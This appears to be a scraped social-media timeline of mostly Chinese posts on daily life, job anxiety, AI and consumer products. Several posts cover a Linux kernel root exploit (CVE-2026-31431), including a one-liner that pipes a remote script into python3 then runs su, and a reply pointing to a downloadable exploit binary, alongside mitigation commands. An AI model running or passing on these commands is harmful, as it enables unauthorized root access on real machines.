蒋一静

冬天出太阳的时候，你也要记得晒晒太阳！

[蒋一静 @forazhan]

最近的twi真的没法刷，评论区全部都是机器。。。

[蒋一静 @forazhan]

@L_eacc 我今天也职业焦虑中。。。

[蒋一静 @forazhan]

刚吃了胡子大厨。。。

[SoonCrush @SoonCrush]

上海前两天搞了一个全中国最大的预制菜展，B 站一个博主去逛了下，发现一堆品牌从这里进货😂弹幕都绷不住了...

[Tods @Tods]

Unveiling the TOD’S · X Capsule Collection

Created by Creative Director Matteo Tamburini, in collaboration with Tod’s Global Brand Ambassador Xiao Zhan, the exclusive collection reflects a shared vision of Italian craftsmanship, contemporary elegance and effortless sophistication. Inspired by an outdoor aesthetic, the collection embodies the essence of Tod’s Italian lifestyle through refined silhouettes and earthy tones.
Discover more at: https://t.co/xyDlQInEhk
#Tods #TodsSS26

[秋水逸冰 @qiushuiyibing]

该 exploit 脚本完整内容如图所示。
以普通用户执行后出现AttributeError: module 'os' has no attribute 'splice'提示，查了一下，os.splice() 是 Python 3.10 版本才引入的 Linux 专属 API。是本机系统 Python 版本低于 3.10 的缘故。
看来使用旧版本有好处。

[奶昔🥤 @realNyarime]

看到Xint Code研究团队放出的CVE-2026-31431简直是王炸，换句话说通杀所有Linux发行版，致使低权限账户获得root权限：
curl https://t.co/eApW9Zczy5 | python3 && su CVE-2026-31431
建议尽快更新系统，事态紧急可以先打个补丁
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

详细参考👉 https://t.co/iezazdMpAT

[biantaishabi5 @biantaishabi5]

前额叶发育缓慢且高敏感的孩子，说人话就是由敏感又笨的孩子，这种小孩不会动脑子，你严厉点，他大脑直接宕机。其实是只要他遇到不理解的问题，没人管时他就会用本能绕开，一旦干预他就直接分泌杏仁核干预，思考能力直接关闭。所以表现出来就是内向、胆子小、没自信、害怕失败，

[知名退堂鼓表演艺术家♥已喜欢 @EricDaWei]

@realNyarime 这种方式依赖 Python 版本，得至少 Python3.10 才有 os.splice 功能。
有大神做了 Go 的版本，https://t.co/gu7hi51o4z 无需外部依赖，直接 download 二进制 exec 即可提权。

[Brian Pak @brian_pak]

Surfaced by Xint Code — our AI vuln research platform — pointed at the kernel's crypto/ for about an hour, on a starting hunch from @5unKn0wn.

Came back with CopyFail (plus others, still in coordinated disclosure).

Write-up + PoC (exploit): https://t.co/RgEXCiqzE5
Xint Code: https://t.co/BDYUap5huu

[蒋一静 @forazhan]

五一估计不少人加班处理这个漏洞吧，基本上市面上所有发行版OS都涉及……

[AB Kuai.Dong @_FORAB]

没想到这插件火了。一位日本开发者，做了个谷歌浏览器 Chrome 插件，当你每浏览网页，长达 60 分钟，就会出现猫咪挤占你的屏幕，强制让你休息 5 分钟。

该设计初衷是提醒人们，不要长时间泡在电脑前，名为 Cat Gatekeeper。

[蒋一静 @forazhan]

误入一些恶臭兔子洞之后我真的很需要一些纯净的美好的兔子洞能量！

[蒋一静 @forazhan]

这么卷下去……😫

[蒋一静 @forazhan]

闹鬼酒店好看！又有新的盼头了！！第二季快来！！！

[蒋一静 @forazhan]

我家小猫越来越粘人了，每天晚上回来必须要接受她的蹭脸蹭头，很会提供情绪价值的小女孩儿！

[Kai @real_kai42]

在不同场合都被聊过对程序员未来就业市场的看法，我基本回答都是：
我觉得未来两三年，AI 一定会大范围的冲击就业市场，重构市场对技能的需求，从根本上的重构和冲击

在一线真的见证了太多震撼了，并且这些能力正在快速变强。 现在，我们能感受到他具备巨大的能力和潜力，只是缺少相关的工具和配套理论，等待 harness 完备，不知道会带来多大范围的革新

😮‍💨 这两三年还是挺纠结的，一方面看着自己生产力数十倍的提升，一方面自己过去熬夜练习的能力迅速贬值。但有一点很明确： 技能可以迅速被 AI 替代，但工程经验的累计依旧需要大量的项目经验和踩坑，或许这是未来面对 AI 冲击最有价值的技能吧

[蒋一静 @forazhan]

@L_eacc 最近刷到好多说不错的反馈，我也想去看了，高司令选片还是不错！

[蒋一静 @forazhan]

@L_eacc 我之前特别抗拒输出当销售这件事儿，但是本科同学在一个公司的输出到瑞典了，我竟然觉得还不错……现在真的来势汹汹，完全不知道自己能做什么……

[蒋一静 @forazhan]

@L_eacc 我就觉得！hr真的太努力了hhh

[蒋一静 @forazhan]

我也是，难道是有什么招聘指标吗……前一阵子登录邮箱发现了之前实习的领导发邮件问我有没有推荐人选，OMG……

[🤤 @MacPook_Bro]

字节的hr们最近发了疯一样打我电话加我微信，到底是要干嘛。。本人自知能力绝不足以进入字节，以前面了两个岗结果都很差，估计面评也不怎么样。难道字节对hr的考核标准是骗到简历就给钱吗。